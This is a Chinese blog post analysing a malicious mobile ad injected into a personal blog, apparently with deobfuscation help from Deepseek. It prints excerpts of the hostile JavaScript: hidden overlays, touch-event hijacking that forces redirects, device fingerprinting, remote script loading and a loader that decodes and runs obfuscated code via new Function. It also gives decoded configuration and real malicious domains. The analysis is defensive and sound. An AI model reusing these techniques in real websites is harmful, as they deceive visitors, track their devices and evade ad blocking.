记录一次恶意广告逆向分析
偶然间在一个个人博客网站,发现了一个诡异的广告,只要你往下滑动,就有概率触发跳转到第三方高风险网站,而在电脑上访问并没有广告,网络请求中竟然没有这个广告图...
我不是第一次遇到这种恶意广告,但是激发了我的好奇心,想一探究竟,解答当年我的困惑,由于自己并不太熟悉JS,尤其是这种经过了多次混淆加密的JS代码,为此混淆解密由Deepseek提供,我负责把请求、响应以及现象提供给AI
首先,广告样式如下
所有请求链接中,按请求顺序,除开了一众统计接口、主网站外,那么第一个就是:https://20d6c7a886e3a8794dg.mernrza.com:8007
,
对mernrza.com
这个请求进行Block,刷新页面,发现广告消失了,所以相关入口就在这个请求里
分析/sc/5815?n=ziaxjatg代码
总体攻击流程如下
移动端访问 → UA/传感器检测 → 创建隐形DOM层 → 绑定全局触摸监听 → 采集设备指纹 → 构造动态参数 → 异步跳转高风险域名
全局对象全部随机名(通过动态变量名window[e]规避XSS检测)
!function() {
// 生成随机全局对象名(反检测)
var e = Math.random().toString(36).substr(Math.floor(6*Math.random()+2));
if(null==window[e]){
var a=window[e]={}, r=0,c=0,d=0;
// 核心功能定义...
}
}();
生成广告区域
a.cLab = function(e) { // 创建隐藏节点
return document.createElement(e);
}
a.cSty = function(e) { // 动态注入CSS
const n = document.createElement("style");
n.innerHTML = e.style; // 注入混淆后的CSS规则
document.head.appendChild(n);
}
a.gImg = function(t) { // 生成广告图片层
const c = a.cLab("div");
c.className = u; // 随机类名(如"xxxi")
c.style = "position:fixed;..."; // 绝对定位覆盖全屏
document.body.appendChild(c);
}
混淆加密模块
a.de = function(e) { // 自定义字符替换加密
const n = {e:"P",w:"D",...}; // 包含78个字符映射
return e.split("").map(c=>n[c] ||c).join("");
}
a.rc = function(e) { // 生成随机标识符
const t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefhijklmnopqrstuvwxyz";
return Array(e).fill().map(()=>t.charAt(Math.random()*t.length)).join("");
}
劫持触摸事件
// 全局触摸监听(gImg函数内)
window.addEventListener("touchend", function() {
const e = event.changedTouches[0].clientY;
if (e < t.height) { // 判断触摸位置在广告区域内
a.open(t); // 触发跳转
}
});
// 碎片按钮劫持(img函数内)
c.addEventListener("touchend", function() {
e.type = "good";
a.open(e); // 任意位置触摸均跳转
});
针对移动端弹广告
a.IsPC = function() {
// 关键检测逻辑
return !!/^Win|Mac/.test(navigator.platform) ||
navigator.userAgent.indexOf("xxxxxxxxxx") != 0;
}
跳转逻辑(多阶段混淆跳转)
a.open = function(e) {
// 参数构造(53个跟踪参数)
let i = `/cc/${e.id}?is_not=${e.is_not}&se=${e.string}&interval=${Date.now()}&screen=${window.screen.width}*${screen.height}&history=${history.length}`;
// 双通道跳转(主框架/iframe)
setTimeout(() => {
top.location != self.location
? top.location = e.purl2 + i + "&target=1" // iframe内跳转
: window.location.href = e.purl2 + i + "&target=1"; // 主窗口跳转
}, 20); // 20ms延迟规避弹窗拦截
// 异步上报(伪装统计请求)
setTimeout(() => {
a.CScr(e.purl + i + "&target=0"); // 加载远程脚本
}, 1800);
}
其中这个JS脚本还加载了两个外部链接
其中https://2015dc.xweqmhv.com:8007/d/5815?t=0.02422307654768041返回的是加密文本
{
"key": "[\"6f\"gn{}n=\"dfXY5F6LY5MdfM6f\"g}n}0=\"6LM2OF\"g\"0\"=\"L64Y\"g\"}\"=\"^dFFY5\"g\"@0@o\\\/0{\\\/01}snnsKK0omFRF\"=\"J_5q\"g\"hFFJLg\\\/\\\/f(mRDY:^hXm(O^g{001\"=\"J_5q@\"g\"hFFJLg\\\/\\\/@0}nf(mRDY:^hXm(O^g{001\"=\"^_5q\"g\"hFFJLg\\\/\\\/fJ6(mR2**(45_@fRsYL4DsqdFns)m(O^\"=\"5YLY5XYMhY6phF\"g0=\"7dqLYM(qO\"g10=\"h6fMLFdFY\"g}=\"h6fMhY6phF\"g}{0=\"h6fM(q6(SM2_^\"g}0=\"h6fMJX2_^MLhOD\"g0=\"(O^MLFdFY\"g0=\"(O^MfY7Y5\"g0=\"(O^M(q6(SM2_^\"g}0=\"(O^MJX2_^MLhOD\"g0=\"(O^JYqMLS6J\"g0=\"(O^JYqMLS6JMfYqdT\"g0=\"LYOMLS6J\"g0=\"LYOMLS6JMfYqdT\"g0=\"JOL6F6O2\"g\"@\"=\"LFTqY\"g\"\"=\"q62S\"g\"hFFJLg\\\/\\\/f7LC[[DY)M6fPPmqpSRSm(2\\\/}smhF^q\"=\"6LMC6YR6\"g\"0\"=\"LFdF6LM(OfY\"g\"\"=\"YXYFTJY\"g\"FO_(hY2f\"=\"5YdfMF6^Y\"g}n00P",
"string": "YWR2ZXJ0aXNlcl9hZF9pZD0xNTEwJmFkdmVydGlzZXJfaWQ9MTUxMCZjb21wZWxfY2hhbmNlPTEwJmhpZF9jaGFuY2U9NzAmaXNfcmVmZXJyZXI9MSZsaW5rPWh0dHBzJTNBJTJGJTJGZGZzaiU3QiU3QndlYl9pZCU3RCU3RC5sZ2t4ay5jbiUyRjEzLmh0bWwmcG9zaXRpb25faWQ9MTEmcmV0dXJuX2NoYW5jZT0wJnRpbWU9MTc0NTEzNDM4NiZ0eXBlPTEmd2VibWFzdGVyX2FkX2lkPTU4MTUmd2VibWFzdGVyX2lkPTgwNTAma2V5PTA0ZTNiY2RhNTg3Zjc0NmEwZTI4ZGJmNzczZjY1MGVk"
}
把加密文本使用a.de()进行解密,得到第一部分信息——广告区域设置:
{
"width": "100%", // 广告层宽度适配屏幕
"height": "120", // 广告层高度(单位:px,根据屏幕动态计算)
"hid_height": "30", // 隐藏触发区域高度
"is_not": "0", // 是否新用户(0=新用户,1=老用户)
"position": "1", // 广告位置(1=顶部,0=底部)
"open_n": "1", // 当前展示次数(通过Cookie累加)
"com_state": "1", // 强制点击功能开关(1=启用)
"com_click_num": "3", // 强制点击触发次数阈值
"com_defer": "3600", // 强制点击Cookie有效期(秒)
"hid_state": "1", // 隐藏触发区域开关(1=启用)
"hid_click_num": "2", // 隐藏区域点击触发阈值
"false_clo": "30", // 虚假关闭按钮显示概率(30%)
"compel_skip": "40", // 强制跳转概率(40%)
"compel_skip_delay": "5" // 强制跳转延迟时间(5秒)
}
解密string字段(动态跳转参数)
advertiser_ad_id=1510&advertiser_id=1510&compel_chance=10&hid_chance=70&is_referrer=1
&link=https://dfsj{{web_id}}.lgkxk.cn/13.html&position_id=11&return_chance=0
&time=1745134386&type=1&webmaster_ad_id=5815&webmaster_id=8050&key=04e3bcda587f746a0e28dbf773f650ed
其中
广告主信息:advertiser_ad_id=1510(广告ID),webmaster_id=8050(站长ID)
跳转逻辑:
link=https://dfsj{{web_id}}.lgkxk.cn/13.html (动态填充web_id的落地页,需二次跳转)
compel_chance=10(10%概率强制跳转)
hid_chance=70(70%概率隐藏区域触发跳转)
时间戳:time=1745134386 → 2025-04-20 15:39:46(与当前时间匹配)
密钥验证:key=04e3bcda587f746a0e28dbf773f650ed(用于服务端校验请求合法性)
经过多次重定向后,最终确定最后一个访问为:https://dpic.xn--czru2dx3eszw3lat53b.com/2024/08/07135551410.txt
GIF的base64文件头正是R0lGODlh,也就是这个txt大概率就是展示的广告图
把文本复制出来,使用Base64解码得到
那么这个广告是站长植入的,还是被恶意投放?
我留意到content.js这个文件不寻常,内容看起来不是普通的JS代码逻辑,并且在禁用该js后对网站没有任何负面影响,但是广告消除了
https://www.oryoy.com/static/blog-c/js/content.js
代码是一个立即执行函数(IIFE)
!function() {
// 定义函数 a 和变量 b,最后执行 new Function(b)()
}();
函数 a 的作用是对输入字符串进行字符替换
function a(a) {
var b = { /* 字符映射表 */ };
return a.split("").map(function(a) {
return void 0 !== b[a] ? b[a] : a;
}).join("");
}
变量 b 是一个对象,包含了字符到字符的映射关系
{
"e": "P",
"w": "D",
"T": "y",
"+": "J",
...
}
加密字符串的解码
变量 b 调用了函数 a,传入了一段加密字符串
var b = a(`PXSnQdPGHTl7_2(F6O2cYa[Xd5 F8[P!7_2(F6O2 5c2a[67cFH2Za5YF_52 FH2ZmYRJO5FL!Xd5 O8FH2Z8[6g2=qgl}=YRJO5FLg[PP!5YF_52 YH2Zm(dqqcOmYRJO5FL=O=OmYRJO5FL=5a=Omq8l0=OmYRJO5FLP5m^8Y=5m(8F=5mf87_2(F6O2cY=F=2a[5mOcY=Fa??;)CY(FmfY762Ye5OJY5FTcY=F=[Y2_^Y5d)qYgl0=pYFg2PaP=5m587_2(F6O2cYa["_2fY762Yf"l8FTJYO7 iT^)OqvviT^)OqmFOiF562p|dpvv;)CY(FmfY762Ye5OJY5FTcY=iT^)OqmFOiF562p|dp=[Xdq_Yg"yOf_qY"Pa=;)CY(FmfY762Ye5OJY5FTcY="MMYLyOf_qY"=[Xdq_Ygl0PaP=5mF87_2(F6O2cY=Fa[67c}vFvvcY85cYaa={vFa5YF_52 Y!67covFvv"O)CY(F"88FTJYO7 YvvYvvYmMMYLyOf_qYa5YF_52 Y!Xd5 28...)`);
动态执行解码后的代码
new Function(b)();
这不就是代码混淆吗?而且该网站是typecho模板做的,这是开源项目,并不涉及任何混淆代码。
至此可以确定,这个content.js就是被恶意投放的文件
总结一下,解答自己的疑惑
1、为什么请求中没有Gif图片
因为广告Gif图是写在txt里面,然后对图片进行base64解码后才拿到真实的图片,所以筛选图片看不到相关的信息
2、为什么移动端会展示而PC端不会,而且修改手机浏览器UA为电脑也会有广告
因为代码里检测了电池、触摸事件、传感器,屏幕比例,只要3个符合就视为移动端,此种判定方式更为精准
3、为什么这种广告没有被拦截(不管是dns还是广告拦截插件)
这是恶意广告,对真正的广告进行了多次重定向,混淆加密
动态域名:e.purl2 通过domainParts.join('') 拼接(如https://malware.example )
行为伪装:添加Math.random() 和Date.now() 参数规避URL黑名单
多阶段触发:首次跳转后1800ms加载二次脚本(a.CScr动态插入\<script\>)
机器难以识别
4、为什么有些网站会有这些恶意广告
没有人愿意接这种破坏网站访问体验的广告,所以这些恶意广告都是在站长不知情的情况下被投放的。
比如CDN劫持(攻击者通过DNS欺骗或BGP劫持控制CDN节点,替换网站引用的静态资源比如js为携带恶意广告逻辑的版本)
XSS攻击(过评论、用户资料等UGC内容注入)
网络层中间人攻击(比如常见的跳转反诈网站,这本质也是一种中间人攻击)
至此,整个恶意广告的投放、加载都分析完毕了。作为站长,能做的就是要加强网站防御,作为用户,安装活跃的广告屏蔽插件比如ublock origin可以拦截此类恶意广告
本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。
评论已关闭